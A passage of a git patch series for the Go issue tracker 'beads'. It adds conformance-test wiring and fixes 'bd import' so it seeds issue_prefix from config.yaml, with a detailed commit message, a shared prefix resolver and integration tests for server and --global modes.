+1,50 @@ +package uow + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestExpectedRevisionContract wires this leg into the R16/R17 +// expected-revision contract. Phase 0 leaves every hook nil in every +// backend's fixture kit (architecture §12), so each case below skips by +// name; this file exists so TestEveryLegWiresEveryRoleContract counts this +// leg, and so the cases start running for real the moment this leg's fixture +// kit grows a non-nil hook. +func TestExpectedRevisionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.ExpectedRevisionFixture{IssuePrefix: "erev"} + + t.Run("AcceptsAWriteNamingTheCurrentVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingTheCurrentVersion(t, ctx, fixture) + }) + t.Run("AcceptsAWriteNamingNoVersion", func(t *testing.T) { + conformance.RunExpectedRevisionAcceptsAWriteNamingNoVersion(t, ctx, fixture) + }) + t.Run("CoversFieldsOutsideAnyWatchedSubset", func(t *testing.T) { + conformance.RunExpectedRevisionCoversFieldsOutsideAnyWatchedSubset(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionAddress", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionAddress(t, ctx, fixture) + }) + t.Run("RefusalReportsTheRefusingVersionsChangeAttribution", func(t *testing.T) { + conformance.RunRefusalReportsTheRefusingVersionsChangeAttribution(t, ctx, fixture) + }) + t.Run("RefusalIsATypedOutcomeNotAGenericError", func(t *testing.T) { + conformance.RunRefusalIsATypedOutcomeNotAGenericError(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromAnAcceptedWrite", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromAnAcceptedWrite(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromNotFound", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromNotFound(t, ctx, fixture) + }) + t.Run("RefusalIsDistinguishableFromValidationFailure", func(t *testing.T) { + conformance.RunRefusalIsDistinguishableFromValidationFailure(t, ctx, fixture) + }) + t.Run("RefusalNeverSilentlyPicksAWinner", func(t *testing.T) { + conformance.RunRefusalNeverSilentlyPicksAWinner(t, ctx, fixture) + }) +} diff --git a/internal/storage/uow/notifying.go b/internal/storage/uow/notifying.go index 25b3a268d..0a0584e24 100644 --- a/internal/storage/uow/notifying.go +++ b/internal/storage/uow/notifying.go @@ -352,6 +352,16 @@ func (p *notifyingProvider) SetEventsJournalEnabled(enabled bool) { } } +// SetVersionedHistoryEnabled forwards dual-write issue-version history +// activation to the provider that actually binds it to a transaction +// (doltSQLProvider.BeginTx), for the same reason and in the same shape as +// SetEventsJournalEnabled above. +func (p *notifyingProvider) SetVersionedHistoryEnabled(enabled bool) { + if configurer, ok := p.inner.(storage.VersionedHistoryConfigurer); ok { + configurer.SetVersionedHistoryEnabled(enabled) + } +} + // eventsMaintenanceRunner is issueops.EventsMaintenanceRunner under this file's // import alias, named once so the forwarder below reads as an ordinary // capability check. diff --git a/internal/storage/uow/notifying_parity_test.go b/internal/storage/uow/notifying_parity_test.go index 19da210db..4e527c71d 100644 --- a/internal/storage/uow/notifying_parity_test.go +++ b/internal/storage/uow/notifying_parity_test.go @@ -294,11 +294,13 @@ func TestNotifyingProviderBuildsRolesOnItself(t *testing.T) { "RunNonTx": true, "SetPoolLimits": true, "Unwrap": true, - // Events-journal capability plumbing: activation binds on the inner - // provider's transactions, and a retention pass writes no bead. Neither - // builds a role, so neither can build one "on itself". - "SetEventsJournalEnabled": true, - "RunEventsMaintenanceTx": true, + // Events-journal and versioned-history capability plumbing: activation + // for both binds on the inner provider's transactions, and a retention + // pass writes no bead. None of these build a role, so none of them can + // build one "on itself". + "SetEventsJournalEnabled": true, + "RunEventsMaintenanceTx": true, + "SetVersionedHistoryEnabled": true, } var checked int diff --git a/internal/storage/uow/retention_epoch_contract_test.go b/internal/storage/uow/retention_epoch_contract_test.go new file mode 100644 index 000000000..a2d8bcf00 --- /dev/null +++ b/internal/storage/uow/retention_epoch_contract_test.go @@ -0,0 +1,72 @@ +package uow + +import ( + "context" + "testing" + + "github.com/steveyegge/beads/backend/conformance" +) + +// TestRetentionContract wires this leg into the R20 retention contract. +// Phase 0 leaves every hook nil in every backend's fixture kit (architecture +// §12), so each case below skips by name; this file exists so +// TestEveryLegWiresEveryRoleContract counts this leg, and so the cases start +// running for real the moment this leg's fixture kit grows a non-nil hook. +func TestRetentionContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.RetentionFixture{IssuePrefix: "rete"} + + t.Run("RemovalLeavesTheAddressAbleToAnswer", func(t *testing.T) { + conformance.RunRemovalLeavesTheAddressAbleToAnswer(t, ctx, fixture) + }) + t.Run("RemovalReasonIsRetentionErasureOrReorganizationDistinctly", func(t *testing.T) { + conformance.RunRemovalReasonIsRetentionErasureOrReorganizationDistinctly(t, ctx, fixture) + }) + t.Run("RemovalReportsTheSurvivingRetainedWindow", func(t *testing.T) { + conformance.RunRemovalReportsTheSurvivingRetainedWindow(t, ctx, fixture) + }) + t.Run("RemovalNeverReassignsASurvivingAddress", func(t *testing.T) { + conformance.RunRemovalNeverReassignsASurvivingAddress(t, ctx, fixture) + }) + t.Run("GoneIsDistinguishableFromUnknown", func(t *testing.T) { + conformance.RunGoneIsDistinguishableFromUnknown(t, ctx, fixture) + }) + t.Run("AnAddressNeverResolvesToADifferentState", func(t *testing.T) { + conformance.RunAnAddressNeverResolvesToADifferentState(t, ctx, fixture) + }) + t.Run("ADestructiveOperationEnumeratesAffectedAddressesFirst", func(t *testing.T) { + conformance.RunADestructiveOperationEnumeratesAffectedAddressesFirst(t, ctx, fixture) + }) + t.Run("AHoldPreventsRemovalAndReportsInRetainedBounds", func(t *testing.T) { + conformance.RunAHoldPreventsRemovalAndReportsInRetainedBounds(t, ctx, fixture) + }) + t.Run("ForcingAHeldRemovalRecordsWhoWhenWhy", func(t *testing.T) { + conformance.RunForcingAHeldRemovalRecordsWhoWhenWhy(t, ctx, fixture) + }) + t.Run("EveryRetentionAnswerNamesItsProducingStore", func(t *testing.T) { + conformance.RunEveryRetentionAnswerNamesItsProducingStore(t, ctx, fixture) + }) + t.Run("AStoreWithNoLineageKnowledgeAnswersUnknownNotGone", func(t *testing.T) { + conformance.RunAStoreWithNoLineageKnowledgeAnswersUnknownNotGone(t, ctx, fixture) + }) + t.Run("AStoreThatRemovesStateStillAnswersGoneDurably", func(t *testing.T) { + conformance.RunAStoreThatRemovesStateStillAnswersGoneDurably(t, ctx, fixture) + }) + t.Run("ErasureMintsACorrectedVersionRatherThanEditingInPlace", func(t *testing.T) { + conformance.RunErasureMintsACorrectedVersionRatherThanEditingInPlace(t, ctx, fixture) + }) +} + +// TestEpochContract wires this leg into the R20 epoch contract. Same Phase 0 +// all-nil state as TestRetentionContract above. +func TestEpochContract(t *testing.T) { + ctx := context.Background() + fixture := conformance.EpochFixture{IssuePrefix: "epch"} + + t.Run("AnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange", func(t *testing.T) { + conformance.RunAnEpochBumpIsTriggeredOnlyByRestoreReinitOrSchemeChange(t, ctx, fixture) + }) + t.Run("EpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed", func(t *testing.T) { + conformance.RunEpochBumpVoidsOnlyAddressesOfVersionsNoLongerServed(t, ctx, fixture) + }) +} From 48b9e904dcee67b3d9650df87a7d9c301a861085 Mon Sep 17 00:00:00 2001 From: cyb3rd0g01 <123127426+cyb3rd0g01@users.noreply.github.com> Date: Sat, 26 Sep 2026 18:01:04 -0400 Subject: [PATCH 119/624] fix(import): seed issue_prefix from config.yaml before the batch guard needs it (#6624) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(import): seed issue_prefix from config.yaml before the batch guard needs it NewBatchContext (via ReadConfigPrefix) unconditionally requires an issue_prefix row in the database's own config table before creating any issue. bd init writes that row via SetConfig, but a database an external tool provisioned directly (e.g. an orchestrator that created the Dolt database via SQL and pointed config.yaml at it without ever calling bd init) never gets one. Every bd import then failed with "issue_prefix config is missing", even though config.yaml carried the prefix and bd where/bd context resolved it correctly. bd import already had logic to sync config.yaml's prefix into that table, but only after a successful import — useless when the import itself can't start without the row. This moves an equivalent, guarded sync (only fires when the table is empty, never overwrites an existing prefix) before the import attempt, reading config.yaml directly via GetStringFromDir rather than the global config singleton, since that singleton isn't guaranteed to be initialized this early in the import path. Added a regression test that reproduces the exact failure with stock bd (bd init --server, then delete the config-table row and write config.yaml by hand — no orchestrator involved) and confirms it now imports successfully. * fix(import): address review — proxied-mode parity, --global exclusion, GetString Three issues from @bee-ghosttrack's review of ffb32fb: 1. Proxied-server mode had the identical bug: importer.go's ImportBatch ran CreateIssuesInTxWithResult (-> NewBatchContext -> ReadConfigPrefix) before its own SyncIssuePrefix reconciliation, in the same transaction. Seeds the prefix before create there too, when the table is empty. 2. --global was not excluded from either sync (import.go's existing post-import sync and this fix's new pre-import seed, plus the proxied path's SyncIssuePrefix source). config.yaml is per-project; the shared global store's own prefix must win in --global mode (selectCreateIDPrefix already established this for `bd create`), or a project's local prefix silently overwrites the shared database with two dolt commits. 3. GetStringFromDir's rationale didn't hold: config.Initialize() has already run by main.go's init() and prepareSelectedCommandContext, and GetStringFromDir skips the config.local.yaml overlay GetString honors — disagreeing with the sync 40 lines below it. Switched to GetString, matching import.go:415 and import_proxied_server.go's existing usage. Smaller fixes: TrimSpace + validatePrefix on the seeded value (a failed validation now warns instead of writing an invalid prefix); SetConfig/Commit failures now warn to stderr instead of being silently swallowed. Test changes: - Added TestImporterUOW/SeedsPrefixBeforeCreateNeedsIt, exercising the proxied-mode fix directly at the unit-of-work layer (no CLI/container overhead) by clearing config-table issue_prefix and confirming ImportBatch still creates issues. Revert-mutant confirmed: fails with the identical "issue_prefix config is missing" without the fix. - Rewrote the E2E test with this repo's server-mode conventions: skipIfNoDolt, uniqueTestDBName + dropTestDatabase, explicit --server-port — no longer leaks a database on the shared test server. - Added TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix (separate file, cgo-only build tag, using the shared-server harness from global_identity_integration_test.go): confirms a --global import does not adopt a project's config.yaml prefix. Revert-mutant confirmed: without the --global guards, the shared global store's prefix is overwritten by the local project's ("global" -> "localproj"). go build ./... clean; go vet ./cmd/bd/... (both with and without -tags "cgo integration") clean; gofmt -l clean on all touched files. * fix(import): commit the seeded prefix on an empty batch; one resolved prefix Maintainer review fixup for PR #6624 (iterations 1-2). Addresses the two major findings and the nearby minors/nits. MAJOR — the proxied seed was discarded on a batch that landed no rows. The seed wrote issue_prefix but left ImportBatchResult.PrefixSynced false, so importBatchCommitMessage produced "" for a batch with Created == 0 and no memories, RunTxResultWithin skipped uw.Commit on the empty message, and the deferred closeAttempt ROLLED BACK the seeded row. `bd import` reported success, the prefix never landed, and a re-run dedup'd again — the state never converged. Reachable against a missing-prefix database whenever every input row is dropped by the in-transaction stale guard or the CLI's title dedup. The seed now reports itself through PrefixSynced, restoring the "the prefix sync runs even when the batch is otherwise empty" contract (be-llaf) that import_proxied_server.go's comment promises; the field's doc says so too. MAJOR — that arm had no coverage in any lane that runs. TestImporterUOW/SeedsPrefixEvenWhenEveryRowIsRejected pins it: empty stored prefix + SyncIssuePrefix set + every row stale-rejected => the prefix is committed, under the sync message, with history moving exactly one entry. It fails on the pre-fixup tree on all four assertions. The existing SeedsPrefixBeforeCreateNeedsIt cannot catch this (Created == 1 carries the commit) and PrefixSyncAloneCommitsUnderTheSyncMessage runs with a non-empty stored prefix, so its seed never fires. Both are tag-free and container-free, so unlike the classic-path e2e they execute in ordinary lanes. Minors and nits: - Seed errors are returned, not warned. A SetConfig failure here is a precondition failure for the very next statement: swallowing it surfaced as the "issue_prefix config is missing" error this seed exists to prevent, and hid serialization failures from RunTxResult's retry classifier. Drops the os import. - Classic path resolves ONE prefix for both its writers (importSyncPrefix; iteration 2 below extends the same resolver to the proxied path). The seed used a TrimSpace'd + validatePrefix'd value while the post-import sync used the raw one, so (a) a prefix the seed refused still reached the database through the sync, bypassing the guard this PR adds, and (b) a padded `issue-prefix: " bd"` made the two disagree and the sync overwrote the trimmed value. TestImportSyncPrefix pins the resolver with no store and no container; each arm mutation-proved independently. Side effect: the flagged worst_changed function drops from cyclo 25/cognitive 43 to 22/34. - Warnings name the whole effect on both paths: an invalid issue-prefix disables the sync as well as the seed, which base did not do. - The --global isolation test anchors what its "before" value IS, so the after == before comparison cannot go vacuous. The anchor is doltserver.GlobalIssuePrefix, NOT the --prefix passed to init: --prefix names the project's prefix and `bd init --global` always writes the constant (init.go), which an unanchored equality had been hiding. - Comments record two boundaries the diff left unstated: the classic seed commits before an import that may fail (deferring it is not an option — the post-import CommitWithConfig is gated on dbPrefix != syncPrefix, which a seed makes false, so the row would stay uncommitted because store.Commit excludes config (GH#2455), and a dirty internal config key blocks the next pull); and a --global import against a global database missing its own config.issue_prefix stays unseedable by design. Iteration 2 — three non-gating findings (both majors above stayed fixed; the fresh synthesis and quality scorecard both say approve): - The classic seed now runs BEFORE the memory writes. CommitWithConfig is DOLT_COMMIT -Am, so it stages everything dirty at that instant: with the seed below the memory loop, a `bd import` carrying memories against a missing-prefix database whose issue phase then failed left those kv.memory.* rows PERMANENTLY COMMITTED, under a message asserting the commit is the prefix seed — where at base the failure left the whole working set for the operator to discard. Seeding first restores "the only thing this commit can carry is the prefix". Pure statement reorder: the seed reads only issues, syncPrefix and the config table, and the ordering is now recorded as load-bearing at the block so a later edit does not undo it. - The proxied path CALLS importSyncPrefix() instead of restating its four rules inline. The two copies were identical rule for rule — same globalFlag guard, same TrimSpace, same validatePrefix, byte-identical warning — but only the classic copy was pinned, so the underscore-key fallback ReadConfigPrefix honors, or hyphen normalization, could have reintroduced ACROSS import modes exactly the divergence the bullet above closed within one mode. One implementation now, so TestImportSyncPrefix's six rows govern both routes. Drops the os, strings and config imports from import_proxied_server.go. - The uow subtests no longer lean on suite order. SeedsPrefixEvenWhenEveryRowIsRejected snapshots the sync-message history count before the batch and asserts +1: the old `n != 0` form could not fail in a full-suite run, because PrefixSyncAloneCommitsUnderTheSyncMessage has already committed under that message by then. Mutation-proved — routing an all-rejected batch to a "0 issues from ..." message reds only the new assertion ("moved 1 -> 1"), and the 1 in that output is precisely the count that would have satisfied the old form. SeedsPrefixBeforeCreateNeedsIt also restores issue_prefix the way its two neighbours do, instead of leaving the fixture to be restored by the code under test. The PR description's stale "GetStringFromDir / config.GetString returned empty in this exact spot" claim and its "single-file production change" scope claim were corrected on GitHub, and the CI-lane reality for each added test is now recorded there. Validation (iteration 1): gofmt clean; go build ./...; go vet on cmd/bd, internal/storage/uow and issueops; full internal/storage/uow package green (570s, under a private temp root); focused cmd/bd import tests, TestImportSyncPrefix, TestEmbeddedImport/prefix_sync{,_no_config_key} and the --global isolation e2e all green. Validation (iteration 2): gofmt and `git diff --check` clean; go build ./cmd/... ./internal/storage/uow/...; go vet on cmd/bd and internal/storage/uow; full TestImporterUOW green in subtest order (9/9) plus the mutation A/B above; TestImportSyncPrefix green (6/6). Two reds in the wider `go test -run Import ./cmd/bd` are environmental on this box and reproduce identically with the fix set stashed: TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix dies inside `bd init` because the cloned remote is one schema version behind this build (v66 -> v67), and TestImportBlockedDuringMigrationFreeze cannot start its server (port 3307 busy). --------- Co-authored-by: ilasic Co-authored-by: Julian Knutsen --- cmd/bd/import.go | 79 ++++++++++- cmd/bd/import_global_prefix_isolation_test.go | 125 ++++++++++++++++++ cmd/bd/import_missing_config_prefix_test.go | 96 ++++++++++++++ cmd/bd/import_proxied_server.go | 22 ++- cmd/bd/import_sync_prefix_test.go | 89 +++++++++++++ internal/storage/uow/importer.go | 29 ++++ internal/storage/uow/importer_uow_test.go | 122 +++++++++++++++++ issueops/importer.go | 5 +- 8 files changed, 558 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/import_global_prefix_isolation_test.go create mode 100644 cmd/bd/import_missing_config_prefix_test.go create mode 100644 cmd/bd/import_sync_prefix_test.go diff --git a/cmd/bd/import.go b/cmd/bd/import.go index 849476263..88f4d6454 100644 --- a/cmd/bd/import.go +++ b/cmd/bd/import.go @@ -356,6 +356,42 @@ func runImportRecordsClassic(ctx context.Context, issues []*types.Issue, memorie return renderImportDryRun(result, len(memories), source, dedupHits) } + // ONE value for both prefix writers on this path — the seed just below and + // the post-import sync at the bottom. Resolved once so they cannot disagree + // on trimming or on validation; see importSyncPrefix. + syncPrefix := importSyncPrefix() + + // Seed issue_prefix from config.yaml before the config table has one, so + // NewBatchContext's ReadConfigPrefix (below, via importIssuesCore) does + // not reject an externally-provisioned database that config.yaml already + // names a prefix for. + // + // It runs BEFORE the memory writes below, deliberately: CommitWithConfig + // is DOLT_COMMIT -Am, so it stages everything dirty at that instant. + // Seeding first is what keeps the prefix the only thing this commit can + // carry — otherwise this run's kv.memory.* rows land in a commit named for + // the prefix seed, and stay permanently committed when the import below + // then fails, instead of being left in the working set for the operator to + // discard. + // + // The commit lands HERE, before an import that may fail, which means a + // failed `bd import` can leave the seeded prefix behind. Accepted: the + // value is config.yaml's own and is the converged one either way, so the + // residue is the state the next successful import would reach. Deferring + // it to the post-import CommitWithConfig below is NOT an alternative — + // that block only fires when dbPrefix != syncPrefix, which a seed makes + // false, so the row would stay uncommitted (store.Commit excludes config, + // GH#2455) and a dirty internal config key then blocks the next pull. + if len(issues) > 0 && syncPrefix != "" { + if dbPrefix, _ := store.GetConfig(ctx, "issue_prefix"); dbPrefix == "" { + if setErr := store.SetConfig(ctx, "issue_prefix", syncPrefix); setErr != nil { + fmt.Fprintf(os.Stderr, "warning: failed to seed issue_prefix from config.yaml: %v\n", setErr) + } else if commitErr := store.CommitWithConfig(ctx, "bd import: seed issue_prefix from config.yaml"); commitErr != nil { + fmt.Fprintf(os.Stderr, "warning: failed to commit seeded issue_prefix: %v\n", commitErr) + } + } + } + // Import memories for _, mem := range memories { storageKey := kvPrefix + memoryPrefix + mem.Key @@ -396,10 +432,13 @@ func runImportRecordsClassic(ctx context.Context, issues []*types.Issue, memorie // for this intentional config update after the issues commit completes. // config.yaml is authoritative here and existing issue IDs are intentionally // left unchanged: this deliberately bypasses the `bd config set issue_prefix` - // guard for the import/migration flow and is not a rename. - if yamlPrefix := config.GetString("issue-prefix"); yamlPrefix != "" { - if dbPrefix, _ := store.GetConfig(ctx, "issue_prefix"); dbPrefix != yamlPrefix { - if setErr := store.SetConfig(ctx, "issue_prefix", yamlPrefix); setErr == nil { + // guard for the import/migration flow and is not a rename. Reconciles + // against the SAME resolved value the seed used, so a padded config.yaml + // prefix cannot make this test true forever and overwrite the trimmed + // value the seed stored on every import. + if syncPrefix != "" { + if dbPrefix, _ := store.GetConfig(ctx, "issue_prefix"); dbPrefix != syncPrefix { + if setErr := store.SetConfig(ctx, "issue_prefix", syncPrefix); setErr == nil { _ = store.CommitWithConfig(ctx, "bd import: sync issue_prefix from config.yaml") } } @@ -408,6 +447,38 @@ func runImportRecordsClassic(ctx context.Context, issues []*types.Issue, memorie return renderImportOutcome(result, source, dedupHits) } +// importSyncPrefix resolves the ONE config.yaml issue_prefix value EVERY +// import writer uses: the classic path's seed (before the batch needs it) and +// its post-import sync (after the batch lands), and the SyncIssuePrefix the +// proxied path hands ImportBatch (import_proxied_server.go), which seeds and +// syncs inside its one transaction. "" means "reconcile nothing", which is +// what --global, an absent value, and an invalid value all resolve to. +// +// Resolving once is what keeps those writers honest: the seed stored the +// TRIMMED value while the sync used to compare the raw one, so a padded +// `issue-prefix: " bd"` made them disagree and the sync overwrote the seed's +// value; and the sync used to skip validatePrefix entirely, so a prefix the +// seed refused still reached the database through it. +func importSyncPrefix() string { + // --global: config.yaml is a per-project file, and the shared global + // store's own prefix must win (selectCreateIDPrefix), not whatever project + // happened to import into it. + if globalFlag { + return "" + } + yamlPrefix := strings.TrimSpace(config.GetString("issue-prefix")) + if yamlPrefix == "" { + return "" + } + if err := validatePrefix(yamlPrefix); err != nil { + // Naming both effects: an invalid value disables the sync as well as + // the seed, and base did sync an invalid prefix through. + fmt.Fprintf(os.Stderr, "warning: ignoring invalid issue-prefix %q from config.yaml (not seeding or syncing issue_prefix): %v\n", yamlPrefix, err) + return "" + } + return yamlPrefix +} + // applyImportDryRunClassification folds a dry-run classification into the // command's JSON result, identically in both modes. func applyImportDryRunClassification(result *importResultJSON, classification *ImportResult) { diff --git a/cmd/bd/import_global_prefix_isolation_test.go b/cmd/bd/import_global_prefix_isolation_test.go new file mode 100644 index 000000000..2372e953a --- /dev/null +++ b/cmd/bd/import_global_prefix_isolation_test.go @@ -0,0 +1,125 @@ +//go:build cgo + +package main + +import ( + "context" + "os" + "path/filepath" + "runtime" + "strconv" + "strings" + "testing" + "time" + + "github.com/steveyegge/beads/internal/doltserver" + "github.com/steveyegge/beads/internal/testutil" +) + +// TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix pins that `bd +// import --global` does not seed or sync issue_prefix from the current +// project's config.yaml: the shared global store's own prefix must win in +// --global mode (selectCreateIDPrefix), the same rule bd create already +// follows. A project's config.yaml leaking into the global store would let +// whichever project last ran a global import silently repoint every other +// project's global issue IDs. Uses the shared-server harness from +// global_identity_integration_test.go — --global requires shared-server mode. +func TestCLI_Import_GlobalModeIgnoresProjectConfigYAMLPrefix(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("not supported on Windows") + } + + bdBinary := buildSharedServerTestBinary(t) + + cp, err := testutil.NewContainerProvider() + if err != nil { + t.Skipf("skipping: Dolt container not available: %v", err) + } + t.Cleanup(func() { _ = cp.Stop() }) + + sharedDir := t.TempDir() + if err := cp.WritePortFile(sharedDir); err != nil { + t.Fatalf("write port file: %v", err) + } + + projectDir := filepath.Join(t.TempDir(), "localproj") + if err := os.MkdirAll(projectDir, 0o755); err != nil { + t.Fatalf("mkdir project dir: %v", err) + } + + ctx, cancel := context.WithTimeout(context.Background(), 2*time.Minute) + defer cancel() + + if err := gitInit(ctx, projectDir); err != nil { + t.Fatalf("git init: %v", err) + } + + env := []string{ + "PATH=" + os.Getenv("PATH"), + "HOME=" + t.TempDir(), + "GOPATH=" + os.Getenv("GOPATH"), + "GOROOT=" + os.Getenv("GOROOT"), + "BEADS_SHARED_SERVER_DIR=" + sharedDir, + "BEADS_DOLT_SHARED_SERVER=1", + "BEADS_DOLT_SERVER_PORT=" + strconv.Itoa(cp.Port()), + "BEADS_DOLT_AUTO_START=0", + "BEADS_TEST_MODE=1", + "BD_DISABLE_METRICS=1", + "BD_DISABLE_EVENT_FLUSH=1", + "GIT_TERMINAL_PROMPT=0", + "GIT_ASKPASS=", + "SSH_ASKPASS=", + "GT_ROOT=", + } + + initArgs := []string{"init", "--shared-server", "--global", "--external", "--prefix", "globalinit", "--quiet", "--non-interactive"} + if out, err := ssExec(ctx, bdBinary, projectDir, env, initArgs...); err != nil { + t.Fatalf("bd %s (global init) failed: %v\noutput:\n%s", strings.Join(initArgs, " "), err, out) + } + + // bd init (non-no-db) stores the prefix in the DB, not config.yaml; write + // a DIFFERENT project-local prefix into config.yaml directly, the same + // way global_identity_integration_test.go exercises the YAML-first + // prefix-selection path (selectCreateIDPrefix) that bd-4646 regressed: + // this is what a project's config.yaml looks like in practice, and + // --global mode must not read it. + beadsDir := filepath.Join(projectDir, ".beads") + if err := os.WriteFile(filepath.Join(beadsDir, "config.yaml"), []byte("issue-prefix: localproj\n"), 0o644); err != nil { + t.Fatalf("write config.yaml issue-prefix: %v", err) + } + + globalOut, err := ssExec(ctx, bdBinary, projectDir, env, "config", "get", "issue_prefix", "--global") + if err != nil { + t.Fatalf("bd config get issue_prefix --global (before import) failed: %v\n%s", err, globalOut) + } + globalPrefixBefore := strings.TrimSpace(globalOut) + // Anchor what `before` IS, so the after == before comparison below cannot + // go vacuous: if this read ever stops resolving the global store's row it + // returns "" or the "issue_prefix (not set)" line (cmd/bd/config.go), and + // an unanchored after == before would then pass while measuring nothing. + // + // The expected value is doltserver.GlobalIssuePrefix, NOT the --prefix + // passed to init above: --prefix names the PROJECT's prefix, and bd init + // --global always writes the constant into the shared store (init.go). + if globalPrefixBefore != doltserver.GlobalIssuePrefix { + t.Fatalf("global issue_prefix before import = %q, want %q — the --global config read is not resolving the global store's row", globalPrefixBefore, doltserver.GlobalIssuePrefix) + } + + issue := `{"id":"globaltest-1","title":"Global import test","status":"open","priority":2,"issue_type":"task","created_at":"2026-01-01T00:00:00Z"}` + jsonlPath := filepath.Join(projectDir, "global.jsonl") + if err := os.WriteFile(jsonlPath, []byte(issue+"\n"), 0644); err != nil { + t.Fatalf("failed to write JSONL fixture: %v", err) + } + + if out, err := ssExec(ctx, bdBinary, projectDir, env, "import", "--global", "-i", "global.jsonl"); err != nil { + t.Fatalf("bd import --global failed: %v\n%s", err, out) + } + + afterOut, err := ssExec(ctx, bdBinary, projectDir, env, "config", "get", "issue_prefix", "--global") + if err != nil { + t.Fatalf("bd config get issue_prefix --global (after import) failed: %v\n%s", err, afterOut) + } + if got := strings.TrimSpace(afterOut); got != doltserver.GlobalIssuePrefix { + t.Fatalf("global issue_prefix changed from %q to %q — a --global import must not adopt the local project's config.yaml prefix (localproj)", globalPrefixBefore, got) + } +} diff --git a/cmd/bd/import_missing_config_prefix_test.go b/cmd/bd/import_missing_config_prefix_test.go new file mode 100644 index 000000000..674656a5f --- /dev/null +++ b/cmd/bd/import_missing_config_prefix_test.go @@ -0,0 +1,96 @@ +//go:build cgo && integration + +package main + +import ( + "fmt" + "os" + "strings" + "testing" +) + +// TestCLI_Import_ServerDatabaseMissingConfigPrefix_E2E pins that `bd import` +// succeeds against a server-mode database whose `config` table has no +// issue_prefix row, as long as config.yaml carries one. +// +// This is the state an externally-provisioned database is in: config.yaml +// carries issue-prefix (written directly by the provisioner, not via `bd +// init`), but the database's own config table has no issue_prefix row (only +// `bd init`'s SetConfig call writes one). No orchestrator is involved in +// reproducing this — the test simulates it directly by deleting the +// config-table row and writing config.yaml by hand, exactly like +// dolt_metadata_e2e_test.go simulates a pre-Phase-1 database. +// +// Before the fix, NewBatchContext (via ReadConfigPrefix) required this row +// unconditionally, so `bd import` failed with "issue_prefix config is +// missing" even though config.yaml had the prefix and `bd where`/`bd +// context` resolved it correctly. +func TestCLI_Import_ServerDatabaseMissingConfigPrefix_E2E(t *testing.T) { + skipIfNoDolt(t) + + tmpDir := t.TempDir() + env := os.Environ() + database := uniqueTestDBName(t) + t.Cleanup(func() { + dropTestDatabase(database, testDoltServerPort) + }) + + initOut, initErr := runBDExecAllowErrorWithEnv(t, tmpDir, env, + "init", "--backend", "dolt", "--server", "--external", + "--server-host", "127.0.0.1", + "--server-port", fmt.Sprintf("%d", testDoltServerPort), + "--database", database, + "--prefix", "extdb", "--quiet") + if initErr != nil { + t.Fatalf("bd init --server failed: %v\n%s", initErr, initOut) + } + + // Delete the config-table row bd init just wrote, and write issue-prefix + // into config.yaml directly (bd init does not do this on its own — an + // external provisioner writing config.yaml by hand, as an orchestrator + // would, is what puts a project in this state: config.yaml has the + // prefix, the database's own config table does not). + sqlOut, sqlErr := runBDExecAllowErrorWithEnv(t, tmpDir, env, "sql", + "DELETE FROM config WHERE `key` = 'issue_prefix'") + if sqlErr != nil { + t.Fatalf("bd sql DELETE failed: %v\n%s", sqlErr, sqlOut) + } + + configPath := tmpDir + "/.beads/config.yaml" + configBytes, err := os.ReadFile(configPath) + if err != nil { + t.Fatalf("failed to read config.yaml: %v", err) + } + configBytes = append(configBytes, []byte("\nissue-prefix: extdb\n")...) + if err := os.WriteFile(configPath, configBytes, 0644); err != nil { + t.Fatalf("failed to write issue-prefix into config.yaml: %v", err) + } + + // Confirm the precondition: reads that need the config-table prefix now + // fail, matching the reported bug's symptom. + precheckOut, precheckErr := runBDExecAllowErrorWithEnv(t, tmpDir, env, "create", "--title", "should fail before fix") + if precheckErr == nil { + t.Fatalf("expected bd create to fail with the config-table row deleted, but it succeeded: %s", precheckOut) + } + if !strings.Contains(precheckOut, "issue_prefix config is missing") { + t.Fatalf("expected 'issue_prefix config is missing', got: %s", precheckOut) + } + + issue := `{"id":"extdb-1","title":"Externally provisioned issue","status":"open","priority":2,"issue_type":"task","created_at":"2026-01-01T00:00:00Z"}` + if err := os.WriteFile(tmpDir+"/external.jsonl", []byte(issue+"\n"), 0644); err != nil { + t.Fatalf("failed to write JSONL fixture: %v", err) + } + + importOut, importErr := runBDExecAllowErrorWithEnv(t, tmpDir, env, "import", "-i", "external.jsonl") + if importErr != nil { + t.Fatalf("bd import failed against a server-mode database missing its config-table prefix: %v\nOutput: %s", importErr, importOut) + } + + listOut, listErr := runBDExecAllowErrorWithEnv(t, tmpDir, env, "list", "--id", "extdb-1", "--json") + if listErr != nil { + t.Fatalf("bd list failed: %v\n%s", listErr, listOut) + } + if !strings.Contains(listOut, "extdb-1") { + t.Fatalf("expected extdb-1 to be imported, but list output was: %s", listOut) + } +} diff --git a/cmd/bd/import_proxied_server.go b/cmd/bd/import_proxied_server.go index 57781626b..b200fa3e2 100644 --- a/cmd/bd/import_proxied_server.go +++ b/cmd/bd/import_proxied_server.go @@ -6,7 +6,6 @@ import ( "fmt" "path/filepath" - "github.com/steveyegge/beads/internal/config" "github.com/steveyegge/beads/internal/storage/uow" "github.com/steveyegge/beads/internal/types" publicops "github.com/steveyegge/beads/issueops" @@ -128,17 +127,34 @@ func runImportRecordsProxied(ctx context.Context, issues []*types.Issue, memorie return err } + // The ONE resolver both import paths share for config.yaml's issue_prefix + // (importSyncPrefix, import.go): the --global exclusion, the single trim, + // validatePrefix, the warning that names BOTH effects, and "" meaning + // "reconcile nothing". Calling it instead of restating its rules here is + // what keeps the two modes from drifting — a second hand-maintained copy + // of this policy is the very divergence one resolver exists 